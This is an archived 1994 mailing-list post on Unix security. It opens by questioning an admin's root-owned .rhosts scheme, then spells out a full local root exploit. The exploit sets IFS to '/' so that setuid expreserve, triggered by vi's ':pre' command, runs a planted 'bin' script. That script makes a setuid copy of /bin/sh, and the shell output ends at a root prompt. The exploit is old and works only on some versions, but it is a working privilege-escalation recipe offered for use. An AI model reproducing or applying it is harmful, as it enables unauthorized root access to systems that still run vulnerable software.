home *** CD-ROM | disk | FTP | other *** search
-
- On Sat, 15 Oct 1994, James Seng wrote:
-
-
-
- > Anyway, what i did on my system is put a .rhosts file in every user
-
- > directory. chmod 000 .rhosts and chown root .rhosts. Not all user needs
-
- > .rhosts file. Those who wants to use them email me and i will chown back
-
- > to them. (any problem with that? :-)
-
- >
-
- > James Seng Ching Hong ~{W/Uq:j~}
-
- > Technet Student Consultant, Technet Unit
-
- > Internet: jseng@solomon.technet.sg
-
-
-
- If the users own their home directories, then what prevents them from
-
- removing that file?
-
- Oh, I detect an OS-dependent feature here...
-
-
-
- ObBug: vi runs expreserve when it crashes or you type ':pre' (on some
-
- versions). Expreserve is setuid root. Expreserve runs /bin/mail
-
- with 'system()'. So, do the following:
-
- % cd /tmp
-
- % cp /bin/sh fubar
-
- % cat > bin
-
- chmod 4755 fubar
-
- ^D
-
- % chmod u+x fubar
-
- % setenv IFS=/
-
- % vi
-
- :pre
-
- :q
-
- % fubar
-
- #
-
- Some versions of expreserve don't have the hole.
-
- Some versions of vi don't have the :pre command.
-
- One does not imply the other.
-
-
-
- Argh. Am I repeating 8lgm material here?
-
- --
-
- Charles Howes -- chowes@helix.net
-
- Always tell the truth, then you make it the other bloke's problem!
-
- - Sean Connery, 1971
-
-
-
-